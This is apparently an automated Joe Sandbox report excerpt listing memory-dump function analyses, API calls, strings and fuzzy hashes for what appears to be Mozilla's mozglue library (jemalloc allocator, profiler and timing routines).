memcpy.VCRUNTIME140(?,?,?), ref: 6C9DDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9DDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9DDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9DE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9DE472

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 3d2329beb5f0d8ed183d8b33f0b23752c4fec2583ad89a5c84b2b37412453b1d
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: B5338D72E0061A8FCB04CFA8C8806ADBBB2FF49314F198269D955BB755D731F945CBA0

Function 6C98FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE7B8), ref: 6C98FF81
LeaveCriticalSection.KERNEL32(6C9FE7B8), ref: 6C99022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C990240
EnterCriticalSection.KERNEL32(6C9FE768), ref: 6C99025B
LeaveCriticalSection.KERNEL32(6C9FE768), ref: 6C99027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C990D67, 6C990D7B, 6C990DAC
<jemalloc>, xrefs: 6C990D62, 6C990D76, 6C990DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C98FE99, 6C98FEB7, 6C98FED3, 6C990DB8, 6C990DD3, 6C9919B4

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: a1159258091fc151256eddabe42a31af70284752311713d643385a01c761ed9b
Instruction ID: 22e04cc7ee2c3856b75c145010b7783ab4ebdbf0fdb8d2d8aa6b608e6d5cccb9
Opcode Fuzzy Hash: a1159258091fc151256eddabe42a31af70284752311713d643385a01c761ed9b
Instruction Fuzzy Hash: 51C2BE71A057418FD714CF28C88071ABBE5BF8A728F28C66DE4B98B795D771E841CB81

Function 6C9DE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9DE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9DEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9DF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9E0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9E0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9E0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9E0ED4

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 66a0dbab417c57293ecd35207c17ee0c906e72ce6d5d9c93b40bcc2d520d274b
Instruction ID: 78ad64f7e1482c0eb43253d6afddf28dd45622f791bbaa1bd64a65edb3d2b292
Opcode Fuzzy Hash: 66a0dbab417c57293ecd35207c17ee0c906e72ce6d5d9c93b40bcc2d520d274b
Instruction Fuzzy Hash: AD637D71E0025ACFCB04CFA8C8906ADFBB2FF99314F298269D855BB755D730A945CB90

Function 6C9B3E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9D7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C9B3E7D,?,?,?,6C9B3E7D,?,?), ref: 6C9D777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C9B3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9B3F5C
VerSetConditionMask.NTDLL ref: 6C9B3F8D
VerSetConditionMask.NTDLL ref: 6C9B3F99
VerSetConditionMask.NTDLL ref: 6C9B3FA0
VerSetConditionMask.NTDLL ref: 6C9B3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C9B3FB4

Strings

nvinit.dll, xrefs: 6C9B4479
nvd3d9wrap.dll, xrefs: 6C9B4466

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: fece78d4656dd5e9fd349933cf760d0b75664c3a36a3775e49bb4e194d1b3d01
Instruction ID: d0aa6a2b3b0ebda43182529aae9ae91c7134f99f65c28c71d27017bcce6ac2c7
Opcode Fuzzy Hash: fece78d4656dd5e9fd349933cf760d0b75664c3a36a3775e49bb4e194d1b3d01
Instruction Fuzzy Hash: 3C52E472611B889FD714DF34C880AAB77F9AFA5204F18092DD5928BB52DB34F909CB60

Function 6C99ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C99EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C99EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9A1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C9A1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9A1A3E

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 92036368fa7523b14ecbea7aa9c95b3c11189d0ba2ff010721e370e1eda55bee
Instruction ID: 5d84953e26e5b7725760a09afb567eddfb6ef494f835275c97605b279bd6f380
Opcode Fuzzy Hash: 92036368fa7523b14ecbea7aa9c95b3c11189d0ba2ff010721e370e1eda55bee
Instruction Fuzzy Hash: 45B30A71E0421ACFCB14CFA9C890AADF7B2BF49304F1981A9D459AB755D730E986CF90

Function 6C98FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE7B8), ref: 6C98FF81
LeaveCriticalSection.KERNEL32(6C9FE7B8), ref: 6C99022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C990240
EnterCriticalSection.KERNEL32(6C9FE768), ref: 6C99025B
LeaveCriticalSection.KERNEL32(6C9FE768), ref: 6C99027B

Strings

MOZ_CRASH(), xrefs: 6C990CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C98FE99, 6C98FEB7, 6C98FED3, 6C990DB8, 6C990DD3, 6C9919B4, 6C991A10

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 84de0320ee34e997548178d61de3441c4999704d0d80c3b277f14bd83756bd1a
Instruction ID: f5d7ee6f5392b0e254da7447b4d18ac9837347f47fa586739947c2f58371c956
Opcode Fuzzy Hash: 84de0320ee34e997548178d61de3441c4999704d0d80c3b277f14bd83756bd1a
Instruction Fuzzy Hash: 0FB2AE716057418FD718CF29C590716BBE5BF8A328F2CC66CE86A8BBA5D771E840CB41

Function 6C9C5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6C9C5CB6
data, xrefs: 6C9C6131
schema, xrefs: 6C9C606D
ProfileBuffer parse error: %s, xrefs: 6C9C5AC8, 6C9C5CBB
name, xrefs: 6C9C5E79, 6C9C5E8F
expected a Count entry, xrefs: 6C9C5AC3

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 0b034bfd67da077646e78bacb98be26e331741b45810a287f742ba9847a1ef58
Instruction ID: 507c207da37b5ba896aa917324720561b0fae1cfa846496de108b64dd9802805
Opcode Fuzzy Hash: 0b034bfd67da077646e78bacb98be26e331741b45810a287f742ba9847a1ef58
Instruction Fuzzy Hash: 51926BB1A083418FD724CF28C49079ABBE1BFD9308F14891DE59A9B751DB31E909CB93

Function 6C9C2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9C2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9C2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9C2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9C3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9C3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9C36BF

Strings

get , xrefs: 6C9C3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9C378D
set , xrefs: 6C9C36EC

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 3fa5c059cdb6a9787515968933dc9e5fc24f819a9a053020e211a3552e9f06b8
Instruction ID: 42f5fba1d774ab13ff97c63a024ddd1c74c1870b79a6ca681c3c0a354a94e18a
Opcode Fuzzy Hash: 3fa5c059cdb6a9787515968933dc9e5fc24f819a9a053020e211a3552e9f06b8
Instruction Fuzzy Hash: 923268B12083818FD724CF24C490AAEBBE6BFD9318F54881DE59987751DB31E94ACB53

Function 6C9B7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C9B8280, 6C9B83E1
schema, xrefs: 6C9B81E3, 6C9B8311
(pre-xul), xrefs: 6C9B7E88
name, xrefs: 6C9B7ECF, 6C9B8335

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: bbdf1729f661be72eda57db7724d879bc592e9e22ddae1d32b4169b5cf10d06a
Instruction ID: 2ef5f9a8e67d398849d866ccd603a0eca4c497cfa83020c8e2dfe3d45143232c
Opcode Fuzzy Hash: bbdf1729f661be72eda57db7724d879bc592e9e22ddae1d32b4169b5cf10d06a
Instruction Fuzzy Hash: 18E17EB2A053408BC710CF69884065BFBEAFFE9318F144A2DE895E7790DB71DD098B91

Function 6C99D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D4F2
LeaveCriticalSection.KERNEL32(6C9FE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D50B

Part of subcall function 6C97CFE0: EnterCriticalSection.KERNEL32(6C9FE784), ref: 6C97CFF6
Part of subcall function 6C97CFE0: LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C97D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D52E
EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C99D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C99D6A6
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C99D712
LeaveCriticalSection.KERNEL32(6C9FE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C99D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C99D82C
<jemalloc>, xrefs: 6C99D827

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 5e409147fc92ae23b6c69196b78f85c8e0483bc2ab22532a4bdd9eac1aefa8d6
Instruction ID: 37ad5fdb8974b1c8bcd2685082187e2c9ccaac3afb0062a5b2c1744377bc94b9
Opcode Fuzzy Hash: 5e409147fc92ae23b6c69196b78f85c8e0483bc2ab22532a4bdd9eac1aefa8d6
Instruction Fuzzy Hash: 3291B572A087418FD714CF29C4D072AB7E5FB99718F28892ED56AC7B85D730E845CB82

Function 6C995E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2
memset.VCRUNTIME140(6C9D7765,000000E5,9FC09015), ref: 6C9961F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C997652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9972F8
MOZ_CRASH(), xrefs: 6C997BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C99730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9972E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C997BCD, 6C997C1F, 6C997C34, 6C9980FD

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: fc5a76fe3da4170f51553aa224c0deb9c56f7e247c0064d579918ad560d5d912
Instruction ID: 8cd6dade1d6144f79ba4e63a4a13606157510643e9c878d35437ff67fae68456
Opcode Fuzzy Hash: fc5a76fe3da4170f51553aa224c0deb9c56f7e247c0064d579918ad560d5d912
Instruction Fuzzy Hash: ED336D716067018FD308CF29C590715BBE6BF85328F2DC6ADE56A8B7A5D731E841CB81

Function 6C973480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C973492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9734A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9734EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C97350E
__Init_thread_footer.LIBCMT ref: 6C973522
__aulldiv.LIBCMT ref: 6C973552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C97357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C973592

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

Strings

kernel32.dll, xrefs: 6C9734EA
GetSystemTimePreciseAsFileTime, xrefs: 6C973508

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: ad243b288cc2aba9a48489a379b97855dd508fcbabf96b7403cb3293a2dd96c8
Instruction ID: d6d2be7c827657bc3e1cd9d43eaf4567ca8d79e2885430ec49ecf6ae823f32d9
Opcode Fuzzy Hash: ad243b288cc2aba9a48489a379b97855dd508fcbabf96b7403cb3293a2dd96c8
Instruction Fuzzy Hash: 7C31E271B052099BDF10DFB9E848AAE77B9FB86309F200019E525E3650EB71E905CFA0

Function 6C9D4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9D4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D4F2E
moz_xmalloc.MOZGLUE ref: 6C9D4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9D4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D52E6
Sleep.KERNEL32(00000010), ref: 6C9D5481
free.MOZGLUE(?), ref: 6C9D5498

Strings

(, xrefs: 6C9D5250

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 60324677ef602c73a0ebbb33863e8e742a76c500ceb584063dd9ba4e7cd8103d
Instruction ID: 5de135ba265760bd3f9a0ebfdb993308645f09905f2eaaaae6e7a7ea039b353e
Opcode Fuzzy Hash: 60324677ef602c73a0ebbb33863e8e742a76c500ceb584063dd9ba4e7cd8103d
Instruction Fuzzy Hash: 7BF1C171A18B408FC717CF39885062BB7F9AFE6284F15872EF856A7650DB31D846CB81

Function 6C987810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE744), ref: 6C987885
LeaveCriticalSection.KERNEL32(6C9FE744), ref: 6C9878A5
EnterCriticalSection.KERNEL32(6C9FE784), ref: 6C9878AD
LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C9878CD
EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9878D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9878E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C98795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9879BB
LeaveCriticalSection.KERNEL32(?), ref: 6C987BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C987C82
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C987CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C987DAF

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: cad23b673b7fee3db45f21c9aef3ace277535d62458d7a2f6f555d2ee2d2fcce
Instruction ID: 935abbb12bbe84eea6928bb39135f26f11e056c833465666803a94b3d17f742c
Opcode Fuzzy Hash: cad23b673b7fee3db45f21c9aef3ace277535d62458d7a2f6f555d2ee2d2fcce
Instruction Fuzzy Hash: E2028131A05219CFDB54CF19C984799B7B5FF88318F2986AAE819A7711D730EE91CF80

Function 6C9D5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9D6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9D6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C97EE51,?), ref: 6C9D6046
OutputDebugStringA.KERNEL32(?,6C97EE51,?), ref: 6C9D6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9D6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9D6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9D6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9F148E), ref: 6C9D6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C97EE51,00000000,?), ref: 6C9D60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9D60C4

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

